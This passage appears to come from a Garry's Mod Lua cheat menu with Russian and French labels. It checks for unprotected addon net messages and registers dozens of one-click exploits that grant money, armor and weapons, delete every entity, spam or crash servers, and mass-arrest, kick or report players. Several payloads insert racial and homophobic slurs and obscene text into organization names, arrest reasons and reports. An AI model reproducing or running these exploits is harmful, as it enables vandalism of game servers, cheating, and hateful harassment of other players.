9498CHATPRINT("Ðайден ÐкÑплоит: Получить 50k [requestmoneyforvk]")
9499addExploit( "151","Recevoir 50k", "Argent Facile Tu Peut Pas Test", function()
9500surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9501net.Start("requestmoneyforvk")
9502net.WriteEntity(LocalPlayer())
9503net.SendToServer()
9504end )
9505end
9506
9507status = ValidNetString("NET_BailPlayer")
9508if (status) then
9509CHATPRINT("Ðайден ÐкÑплоит: Спам игроков [NET_BailPlayer]")
9510addExploit( "153","Spam Les Joueurs", "", function()
9511surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9512for k, v in pairs (player.GetAll()) do
9513net.Start("NET_BailPlayer")
9514net.WriteEntity(v)
9515net.WriteEntity(v)
9516net.SendToServer()
9517end
9518end )
9519end
9520
9521status = ValidNetString("Taxi_Add")
9522if (status) then
9523CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #21 [Taxi_Add]")
9524addExploit( "154","БеÑплатные деньги #21", "Peu ne pas marcher", function()
9525surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9526net.Start("Taxi_Add")
9527net.WriteString("MLG")
9528net.WriteTable({-1333.647461, -1473.931763, -139.968750})
9529net.WriteFloat(-99999999)
9530net.WriteString(Desc)
9531net.SendToServer()
9532end )
9533end
9534
9535status = ValidNetString("BuyCar")
9536if (status) then
9537CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #22 [BuyCar]")
9538addExploit( "155","БеÑплатные деньги #22", "Recevoir De L'Argent", function()
9539surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9540for k,v in pairs(player.GetAll()) do
9541net.Start('BuyCar')
9542net.WriteFloat(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000)
9543net.WriteEntity(LocalPlayer())
9544net.WriteString("Gay")
9545net.WriteString("Cock")
9546net.WriteString("Twat")
9547net.SendToServer()
9548end
9549end )
9550end
9551
9552status = ValidNetString("rpi_trade_end")
9553if (status) then
9554CHATPRINT("Ðайден ÐкÑплоит: Функциональный теÑÑ‚ [rpi_trade_end]")
9555addExploit( "156","Test Fonction", "just test", function()
9556surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9557local it = 0
9558timer.Create( util.CRC( tostring( CurTime() ) ), 0.5, 0, function()
9559if( it > #player.GetAll() ) then
9560it = 1;
9561else
9562it = it + 1;
9563end
9564net.Start("rpi_trade_end")
9565net.WriteUInt( it, 16 )
9566net.SendToServer()
9567end )
9568end )
9569end
9570
9571status = ValidNetString("ClickerForceSave")
9572if (status) then
9573CHATPRINT("Ðайден ÐкÑплоит: Краш Ðрбузом[ClickerForceSave]")
9574addExploit( "157","Crash Avec Un Melon", "", function()
9575surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9576hook.Add("Think","ps_spam",function()
9577for k, v in pairs (player.GetAll()) do
9578net.Start("ClickerForceSave")
9579net.WriteEntity(ply)
9580net.WriteInt(1, 1)
9581net.SendToServer()
9582end
9583end )
9584end )
9585end
9586
9587status = ValidNetString("SRequest")
9588if (status) then
9589CHATPRINT("Ðайден ÐкÑплоит: ВзÑть дигл [SRequest]")
9590addExploit( "158","Prendre Un Deagle", "", function()
9591surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9592for k, v in pairs (player.GetAll()) do
9593net.Start("SRequest")
9594net.WriteEntity(v)
9595net.SendToServer()
9596end
9597end )
9598end
9599
9600status = ValidNetString("HealButton")
9601if (status) then
9602CHATPRINT("Ðайден ÐкÑплоит: БеÑплатное Лечение [HealButton]")
9603addExploit( "159","PV Gratuit", "PV Gratuit", function()
9604surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9605net.Start("HealButton")
9606net.WriteEntity(LocalPlayer())
9607net.WriteFloat(999999)
9608net.SendToServer()
9609end )
9610end
9611
9612status = ValidNetString("ArmorButton")
9613if (status) then
9614CHATPRINT("Ðайден ÐкÑплоит: БеÑÐ¿Ð»Ð°Ñ‚Ð½Ð°Ñ Ð±Ñ€Ð¾Ð½Ñ [ArmorButton]")
9615addExploit( "160","Armure Gratuite", "Armure Gratuite", function()
9616surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9617net.Start("ArmorButton")
9618net.WriteEntity(LocalPlayer())
9619net.WriteFloat(999999)
9620net.SendToServer()
9621end )
9622end
9623
9624status = ValidNetString("SprintSpeedset")
9625if (status) then
9626CHATPRINT("Ðайден ÐкÑплоит: TTT БыÑтрый Бег [SprintSpeedset]")
9627addExploit( "161","TTT SpeedHack", "changes your speed", function()
9628surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9629net.Start("SprintSpeedset")
9630net.WriteFloat(math.min(math.max(2, 0.1),2 ))
9631net.SendToServer()
9632end )
9633end
9634
9635status = ValidNetString("GiveArmor100")
9636if (status) then
9637CHATPRINT("Ðайден ÐкÑплоит: Выдать броню [GiveArmor100]")
9638addExploit( "162","Exploit D'Armure ", "", function()
9639surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9640net.Start("GiveArmor100")
9641net.SendToServer()
9642end )
9643end
9644
9645status = ValidNetString("Client_To_Server_OpenEditor")
9646if (status) then
9647CHATPRINT("Ðайден ÐкÑплоит: SCP 249 Чит Меню [Client_To_Server_OpenEditor]")
9648addExploit( "164","SCP 249 Drink Menu Hack", "", function()
9649surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9650net.Start("Client_To_Server_OpenEditor")
9651net.SendToServer()
9652end )
9653end
9654
9655status = ValidNetString("DuelMessageReturn")
9656if (status) then
9657CHATPRINT("Ðайден ÐкÑплоит: СумаÑшедший бой [DuelMessageReturn]")
9658addExploit( "165","Combat Fou", "forces all players to fight with all players, ", function()
9659surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9660timer.Create("crazyduel", 0.1, 0, function()
9661s.duel[1] = table.Random( player.GetAll() )
9662s.duel[2] = table.Random( player.GetAll() )
9663net.Start("DuelMessageReturn")
9664net.WriteFloat(1)
9665net.WriteTable(s.duel)
9666net.SendToServer()
9667end )
9668end )
9669end
9670
9671status = ValidNetString("userAcceptPrestige")
9672if (status) then
9673CHATPRINT("Ðайден ÐкÑплоит: Вип [userAcceptPrestige]")
9674addExploit( "166","Prestige Gratuit", "exploit for Prestige Gratuit", function()
9675surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9676net.Start("userAcceptPrestige")
9677net.SendToServer()
9678end )
9679end
9680
9681status = ValidNetString("wordenns")
9682if (status) then
9683CHATPRINT("Ðайден ÐкÑплоит: УкраÑть вÑе деньги #11 [wordenns]")
9684addExploit( "167","УкраÑть вÑе деньги #11", "withdraw money from all printers", function()
9685surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9686CHATPRINT("printers:".. tostring(#ents.FindByClass("derma_printer")))
9687for k,v in pairs(ents.FindByClass("derma_printer")) do
9688net.Start("wordenns")
9689net.WriteEntity(v)
9690net.SendToServer()
9691end
9692end)
9693end
9694
9695status = ValidNetString("guncraft_removeWorkbench")
9696if (status) then
9697CHATPRINT("Ðайден ÐкÑплоит: Удалить вÑе Ñнтити[guncraft_removeWorkbench]")
9698addExploit( "168","Supprimer Toutes Les Entités", "an exploit in addon 'GunCraft'", function()
9699surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9700if !timer.Exists( "removentity" ) then
9701timer.Create("removentity", 3, 0, function()
9702for k,v in pairs(ents.GetAll()) do
9703net.Start("guncraft_removeWorkbench")
9704net.WriteEntity(v)
9705net.SendToServer()
9706end
9707end )
9708end
9709end )
9710end
9711
9712status = ValidNetString("BuyKey")
9713if (status) then
9714CHATPRINT("Ðайден ÐкÑплоит: Открыть Ñиний кейÑ")
9715addExploit( "169","Blue Unbox Exploit", "", function()
9716surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9717net.Start("BuyKey")
9718net.SendToServer()
9719net.Start("BuyCrate")
9720net.SendToServer()
9721end )
9722end
9723
9724status = ValidNetString("casinokit_chipexchange")
9725if (status) then
9726CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #23 [casinokit_chipexchange]")
9727addExploit( "170","БеÑплатные деньги #23", "only works if outdated", function()
9728surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9729local moneylog = LocalPlayer():getDarkRPVar("money")
9730net.Start("casinokit_chipexchange")
9731net.WriteEntity(self)
9732net.WriteString("darkrp")
9733net.WriteBool(true)
9734net.WriteUInt(LocalPlayer():getDarkRPVar("money"),32)
9735net.SendToServer()
9736timer.Simple(3, function()
9737for i=1, 5000 do
9738net.Start("casinokit_chipexchange")
9739net.WriteEntity(self)
9740net.WriteString("darkrp")
9741net.WriteBool(false)
9742net.WriteUInt(moneylog*0.10,32)
9743net.SendToServer()
9744end
9745end)
9746end )
9747end
9748
9749status = ValidNetString("PurchaseWeed")
9750if (status) then
9751CHATPRINT("Ðайден ÐкÑплоит: купить наркотиков [PurchaseWeed]")
9752addExploit( "171","Achetez Drogue", "", function()
9753surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9754net.Start("PurchaseWeed")
9755net.WriteInt(tonumber(10000),16)
9756net.WriteInt(tonumber(1),16)
9757net.WriteBool(LocalPlayer().Buying)
9758net.SendToServer()
9759end )
9760end
9761
9762status = ValidNetString("PurchaseWeed")
9763if (status) then
9764CHATPRINT("Ðайден ÐкÑплоит: Купить наркотиков [PurchaseWeed]")
9765addExploit( "172","Vendre Weed", "", function()
9766surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9767net.Start("PurchaseWeed")
9768net.WriteInt(tonumber(100),16)
9769net.WriteInt(tonumber(100),16)
9770net.WriteBool(LocalPlayer().Selling)
9771net.SendToServer()
9772end )
9773end
9774
9775status = ValidNetString("DoDealerDeliver")
9776if (status) then
9777CHATPRINT("Ðайден ÐкÑплоит:Купить планшет [DoDealerDeliver]")
9778addExploit( "173","Achetez Tablette", "", function()
9779surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9780if(LocalPlayer():getDarkRPVar("money")>=WEED_CONFIG.TabletPrice) then
9781net.Start("DoDealerDeliver")
9782net.WriteBool(false)
9783net.SendToServer()
9784end
9785end )
9786end
9787
9788status = ValidNetString("DoDealerDeliver")
9789if (status) then
9790CHATPRINT("Ðайден ÐкÑплоит: Купить бонг [DoDealerDeliver]")
9791addExploit( "174","Achetez Bong", "", function()
9792surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9793if(LocalPlayer():getDarkRPVar("money")>=WEED_ITEMS.Items["Tools"]["bong"].price) then
9794net.Start("DoDealerDeliver")
9795net.WriteBool(true)
9796net.SendToServer()
9797end
9798end )
9799end
9800
9801status = ValidNetString("sendDuelInfo")
9802if (status) then
9803CHATPRINT("Ðайден ÐкÑплоит: ÐÐ¿Ñ Ð´ÑƒÑль [sendDuelInfo]")
9804addExploit( "175","Exploit Du NPC De Duel", "", function()
9805surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9806net.Start("sendDuelInfo")
9807net.WriteString(table.Random(player.GetAll()):Nick())
9808net.WriteString("xxdddd")
9809net.WriteString("1e+100")
9810net.WriteEntity(table.random(player.GetAll()):UserID())
9811net.WriteInt(3,3)
9812net.SendToServer()
9813end )
9814end
9815
9816status = ValidNetString("InviteMember")
9817if (status) then
9818CHATPRINT("Ðайден ÐкÑплоит: ПриглаÑить вÑех игроков [InviteMember]")
9819addExploit( "176","Inviter Tout Les Joueurs", "Invite all players to your org", function()
9820surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9821for k,v in pairs(player.GetAll()) do
9822net.Start("InviteMember")
9823net.WriteEntity(v)
9824net.WriteEntity(v)
9825net.WriteString("lol what")
9826net.SendToServer()
9827end
9828end )
9829end
9830
9831status = ValidNetString("newTerritory")
9832if (status) then
9833CHATPRINT("Ðайден ÐкÑплоит: ÐÐ¾Ð²Ð°Ñ Ð¢ÐµÑ€Ñ€Ð¸Ñ‚Ð¾Ñ€Ð¸Ñ [newTerritory]")
9834addExploit( "177","Nouveau Territoire", "", function()
9835surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9836for k,v in pairs(player.GetAll()) do
9837net.Start("newTerritory")
9838net.WriteString("Hackers")
9839net.WriteTable(t)
9840net.SendToServer()
9841end
9842end )
9843end
9844
9845status = ValidNetString("CreateOrganization")
9846if (status) then
9847CHATPRINT("Ðайден ÐкÑплоит: Создать организацию [CreateOrganization]")
9848addExploit( "178","Exploit De Gang", "", function()
9849surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9850for k,v in pairs(player.GetAll()) do
9851net.Start("CreateOrganization")
9852net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
9853net.WriteString( "Join my gang or will rekt u" )
9854net.SendToServer()
9855end
9856end )
9857end
9858
9859status = ValidNetString("DisbandOrganization")
9860if (status) then
9861CHATPRINT("Ðайден ÐкÑплоит: Удалить организацию [DisbandOrganization]")
9862addExploit( "179","Arreter L'Organisation", "", function()
9863surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9864net.Start("DisbandOrganization")
9865net.WriteEntity(LocalPlayer())
9866net.SendToServer()
9867end )
9868end
9869
9870status = ValidNetString("ChangeOrgName")
9871if (status) then
9872CHATPRINT("Ðайден ÐкÑплоит:Сменить Ð¸Ð¼Ñ Ð¾Ñ€Ð³Ð°Ð½Ð¸Ð·Ð°Ñ†Ð¸Ð¸ [ChangeOrgName]")
9873addExploit( "180","Changer Le Nom De L'Organisation", "", function()
9874surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9875net.Start("ChangeOrgName")
9876net.WriteString("I LOVE BANNAS WOOOOOOOOO I FUCKED GIANT BABIES WOOOOOO")
9877net.WriteString("SHITTY CUNT ASS SERVER FUCK OFF. STOP WITH YOUR SHITTY COPY AND PASTE SHIT! YOU STOLE MY SHIT NIGGER!")
9878net.WriteEntity(LocalPlayer())
9879net.SendToServer()
9880end )
9881end
9882
9883status = ValidNetString("IS_SubmitSID_C2S")
9884if (status) then
9885CHATPRINT("Ðайден ÐкÑплоит: Подарки беÑплатно[IS_SubmitSID_C2S | IS_GetReward_C2S]")
9886addExploit( "181","Cadeaux Gratuit", "", function()
9887surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9888net.Start("IS_SubmitSID_C2S")
9889net.WriteString("Killa")
9890net.SendToServer()
9891net.Start("IS_GetReward_C2S")
9892net.SendToServer()
9893end )
9894end
9895
9896status = ValidNetString("AcceptBailOffer")
9897if (status) then
9898CHATPRINT("Ðайден ÐкÑплоит: Предложить обмен [AcceptBailOffer]")
9899addExploit( "182","Offrir Des Cautions", "", function()
9900surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9901for k,v in pairs(player.GetAll()) do
9902net.Start("AcceptBailOffer")
9903net.WriteEntity(v)
9904net.WriteUInt(-100000000000000000, 16 )
9905net.SendToServer()
9906end
9907end )
9908end
9909
9910status = ValidNetString("CP_Test_Results")
9911if (status) then
9912CHATPRINT("Ðайден ÐкÑплоит: Стать полицейÑким [CP_Test_Results]")
9913addExploit( "183","Devenir Policier", "", function()
9914surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9915net.Start("CP_Test_Results")
9916net.WriteInt(1 ,8)
9917net.SendToServer()
9918end )
9919end
9920
9921status = ValidNetString("ReSpawn")
9922if (status) then
9923CHATPRINT("Ðайден ÐкÑплоит: РеÑпавн #4 [ReSpawn]")
9924addExploit( "184","ReSpawn #4", "just reSpawn", function()
9925surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9926net.Start("ReSpawn")
9927net.SendToServer()
9928end )
9929end
9930
9931status = ValidNetString("FIGHTCLUB_KickPlayer")
9932if (status) then
9933CHATPRINT("Ðайден ÐкÑплоит: БойцовÑкий клуб [FIGHTCLUB_KickPlayer]")
9934addExploit( "185","Kick Du Fight Club", "", function()
9935surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9936for k,v in pairs(player.GetAll()) do
9937net.Start("FIGHTCLUB_KickPlayer")
9938net.WriteBit(v)
9939net.WriteEntity(v)
9940net.SendToServer()
9941end
9942end )
9943end
9944
9945status = ValidNetString("FIGHTCLUB_StartFight")
9946if (status) then
9947CHATPRINT("Ðайден ÐкÑплоит: Ðачать бой[FIGHTCLUB_StartFight]")
9948addExploit( "186","Fight Club Start Fight", "", function()
9949surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9950for k,v in pairs(player.GetAll()) do
9951net.Start("FIGHTCLUB_StartFight")
9952net.WriteEntity(v)
9953net.SendToServer()
9954end
9955end )
9956end
9957
9958status = ValidNetString("IveBeenRDMed")
9959if (status) then
9960CHATPRINT("Ðайден ÐкÑплоит: Фейковый рдм [IveBeenRDMed]")
9961addExploit( "187","Faux RDM", "", function()
9962surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9963for k,v in pairs(player.GetAll()) do
9964net.Start("IveBeenRDMed")
9965net.WriteEntity(v)
9966net.SendToServer()
9967end
9968end )
9969end
9970
9971status = ValidNetString("nCTieUpStart")
9972if (status) then
9973CHATPRINT("Ðайден ÐкÑплоит: Контролировать Комбайнов [nCTieUpStart]")
9974addExploit( "188","Exploit Des Combine Control", "", function()
9975surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9976for k,v in pairs(ents.GetAll()) do
9977net.Start("nCTieUpStart")
9978net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
9979net.SendToServer()
9980end
9981end )
9982end
9983
9984status = ValidNetString("DestroyTable")
9985if (status) then
9986CHATPRINT("Ðайден ÐкÑплоит: Уничтожить вÑе[DestroyTable]")
9987addExploit( "189","Tout Détruire", "", function()
9988surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9989for k,v in pairs(ents.GetAll()) do
9990net.Start("DestroyTable")
9991net.WriteEntity(v)
9992net.SendToServer()
9993end
9994end )
9995end
9996
9997status = ValidNetString("start_wd_hack")
9998if (status) then
9999CHATPRINT("Ðайден ÐкÑплоит: Телефон хакера [start_wd_hack]")
10000addExploit( "190","Exploit Du Téléphone De H4x0r", "", function()
10001surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10002net.Start("start_wd_hack")
10003net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
10004net.SendToServer()
10005end )
10006end
10007
10008status = ValidNetString("bringNfreeze")
10009if (status) then
10010CHATPRINT("Ðайден ÐкÑплоит: Изгнать [bringNfreeze]")
10011addExploit( "191","Exploit De Bannissement", "", function()
10012surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10013for k,v in pairs(player.GetAll()) do
10014net.Start('bringNfreeze')
10015net.WriteEntity(self)
10016net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
10017net.SendToServer()
10018end
10019end )
10020end
10021
10022status = ValidNetString("JoinFirstSS")
10023if (status) then
10024CHATPRINT("Ðайден ÐкÑплоит: Зайти первым [JoinFirstSS]")
10025addExploit( "192","Rejoindre Les Premiers SS", "", function()
10026surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10027net.Start("JoinFirstSS")
10028net.WriteEntity(LocalPlayer())
10029net.SendToServer()
10030end )
10031end
10032
10033status = ValidNetString("unarrestPerson")
10034if (status) then
10035CHATPRINT("Ðайден ÐкÑплоит: ОÑвободитÑÑ Ð¸Ð· тюрьмы [unarrestPerson]")
10036addExploit( "193","Liberez De Prison", "", function()
10037surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10038for k,v in pairs(player.GetAll()) do
10039net.Start("unarrestPerson")
10040net.WriteEntity(v)
10041net.SendToServer()
10042end
10043end )
10044end
10045
10046status = ValidNetString("giveArrestReason")
10047if (status) then
10048CHATPRINT("Ðайден ÐкÑплоит: Спам ареÑтами [giveArrestReason]")
10049addExploit( "194","Donnez Une Raison D'Arrestation", "", function()
10050surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10051for k,v in pairs(player.GetAll()) do
10052net.Start("giveArrestReason")
10053net.WriteEntity(LocalPlayer())
10054net.WriteEntity(v)
10055net.WriteString("Faggot")
10056net.SendToServer()
10057end
10058end )
10059end
10060
10061status = ValidNetString("sellitem")
10062if (status) then
10063CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #24 [sellitem]")
10064addExploit( "195","БеÑплатные деньги #24", "", function()
10065surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10066net.Start("sellitem")
10067net.WriteString(self)
10068net.WriteEntity(LocalPlayer())
10069net.SendToServer()
10070end )
10071end
10072
10073status = ValidNetString("createFaction")
10074if (status) then
10075CHATPRINT("Ðайден ÐкÑплоит: Создать банду [createFaction]")
10076addExploit( "196","Crée Un Gang", "", function()
10077surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10078for k,v in pairs(player.GetAll()) do
10079net.Start("createFaction")
10080net.WriteEntity(v)
10081net.WriteString("I FUCKED SO MANY BABIES TODAY WOOOOOOOOOOOOOOOOOOOOOOOO")
10082net.SendToServer()
10083end
10084end )
10085end
10086
10087status = ValidNetString("inviteToOrganization")
10088if (status) then
10089CHATPRINT("Ðайден ÐкÑплоит: ПриглаÑить вÑех в организацию [inviteToOrganization]")
10090addExploit( "197","Inviter Tout Le Monde Dans Son Gang", "", function()
10091surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10092for k,v in pairs(player.GetAll()) do
10093net.Start("inviteToOrganization")
10094net.WriteEntity(v)
10095net.WriteEntity(LocalPlayer())
10096net.SendToServer()
10097end
10098end )
10099end
10100
10101status = ValidNetString("GiveWeapon")
10102if (status) then
10103CHATPRINT("Ðайден ÐкÑплоит: БеÑплатное оружие #3 [GiveWeapon]")
10104addExploit( "199","Donnez Des Armes #3", "get weapons", function()
10105surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10106net.Start("GiveWeapon")
10107net.WriteEntity(LocalPlayer())
10108net.WriteString("m9k_davy_crockett")
10109net.WriteFloat(0)
10110net.SendToServer()
10111end )
10112end
10113
10114status = ValidNetString("DailyLoginClaim")
10115if (status) then
10116CHATPRINT("Ðайден ÐкÑплоит: Забрать ежедневную награду [DailyLoginClaim]")
10117addExploit( "200","Cadeau De Connexion", "", function()
10118surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10119net.Start("DailyLoginClaim")
10120net.SendToServer()
10121end )
10122end
10123
10124status = ValidNetString("DL_AskLogsList")
10125if (status) then
10126CHATPRINT("Ðайден ÐкÑплоит:ПоÑмотреть логи [DL_AskLogsList]")
10127addExploit( "201","Voir La Listes Des Logs", "", function()
10128surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10129net.Start("DL_AskLogsList")
10130net.SendToServer()
10131end )
10132end
10133
10134status = ValidNetString("DL_StartReport")
10135if (status) then
10136CHATPRINT("Ðайден ÐкÑплоит: Зарепортить вÑех [DL_StartReport | DL_ReportPlayer]")
10137addExploit( "202","DL Report Tout Le Monde", "", function()
10138surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10139for k,v in pairs(player.GetAll()) do
10140net.Start("DL_StartReport")
10141net.SendToServer()
10142net.Start("DL_ReportPlayer")
10143net.WriteEntity(v)
10144net.WriteString("Hes being a gay faggot plz ban him")
10145net.SendToServer()
10146end
10147end )
10148end
10149
10150status = ValidNetString("sv_saveweapons")
10151if (status) then
10152CHATPRINT("Ðайден ÐкÑплоит: Exploit Выдать оружие TTT [sv_saveweapons]")
10153addExploit( "203","DL Report Tout Le Monde", "", function()
10154surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10155net.Start("sv_saveweapons")
10156net.WriteString("weapon_ttt_rpg")
10157net.WriteString("weapon_ttt_rpg")
10158net.WriteString("eg")
10159net.SendToServer()
10160end )
10161end
10162
10163status = ValidNetString("SpecDM_SendLoadout")
10164if (status) then
10165CHATPRINT("Ðайден ÐкÑплоит: Exploit SpecDM [SpecDM_SendLoadout]")
10166addExploit( "204","Exploit De SpecDM", "", function()
10167surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10168net.Start("SpecDM_SendLoadout")
10169net.WriteString("eg")
10170net.WriteString("weapon_ttt_defib")
10171net.SendToServer()
10172end )
10173end
10174
10175status = ValidNetString("PowerRoundsForcePR")
10176if (status) then
10177CHATPRINT("Ðайден ÐкÑплоит: Повер Раунды [PowerRoundsForcePR]")
10178addExploit( "205","Forcer Un Power Round", "", function()
10179surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10180net.Start("PowerRoundsForcePR")
10181net.SendToServer()
10182end )
10183end
10184
10185status = ValidNetString("wyozimc_playply")
10186if (status) then
10187CHATPRINT("Ðайден ÐкÑплоит: Ðевер гив ÑŽ татат[wyozimc_playply]")
10188addExploit( "206","Exploit De Musique", "", function()
10189surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10190for k,v in pairs(player.GetAll()) do
10191net.Start("wyozimc_playply")
10192net.WriteEntity(v)
10193net.WriteString("https://www.youtube.com/watch?v=dQw4w9WgXcQ")
10194net.SendToServer()
10195end
10196end )
10197end
10198
10199status = ValidNetString("SendSteamID")
10200if (status) then
10201CHATPRINT("Ðайден ÐкÑплоит: Спам почтой [SendSteamID]")
10202addExploit( "207","Envoyez Mail's", "", function()
10203surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10204for k,v in pairs(player.GetAll()) do
10205net.Start("SendSteamID")
10206net.WriteEntity(v)
10207net.WriteString("Faggot")
10208net.WriteString("Faggot")
10209net.SendToServer()
10210end
10211end )
10212end
10213
10214status = ValidNetString("JB_GiveCubics")
10215if (status) then
10216CHATPRINT("Ðайден ÐкÑплоит: Кубики вÑем [JB_GiveCubics]")
10217addExploit( "208","Donnez Des Cubes A Tout Le Monde", "", function()
10218surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10219for k,v in pairs(player.GetAll()) do
10220net.Start("JB_GiveCubics")
10221net.WriteEntity(v)
10222net.WriteInt(math.floor(dwang:GetValue()), 255)
10223net.SendToServer()
10224end
10225end )
10226end
10227
10228status = ValidNetString("JB_SelectWarden")
10229if (status) then
10230CHATPRINT("Ðайден ÐкÑплоит: Спам Варном [JB_SelectWarden]")
10231addExploit( "209","Warn Tout Le Monde", "", function()
10232surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10233for k,v in pairs(player.GetAll()) do
10234net.Start("JB_SelectWarden")
10235net.WriteEntity(v)
10236net.SendToServer()
10237end
10238end )
10239end
10240
10241status = ValidNetString("RDMReason_Explain")
10242if (status) then
10243CHATPRINT("Ðайден ÐкÑплоит: Рдм ÑкÑплоит [RDMReason_Explain]")
10244addExploit( "210","Exploit RDM", "", function()
10245surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10246for k,v in pairs(player.GetAll()) do
10247net.Start("RDMReason_Explain")
10248net.WriteTable({id=v, reason=fgt})
10249net.SendToServer()
10250end
10251end )
10252end
10253
10254status = ValidNetString("redirectMsg")
10255if (status) then
10256CHATPRINT("Ðайден ÐкÑплоит: Перенаправление Сообщений [redirectMsg]")
10257addExploit( "211","Message De Redirection", "", function()
10258surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
10259net.Start("redirectMsg")
10260net.WriteString("Seized By Pity :c !")
10261net.SendToServer()
10262end )
10263end
10264
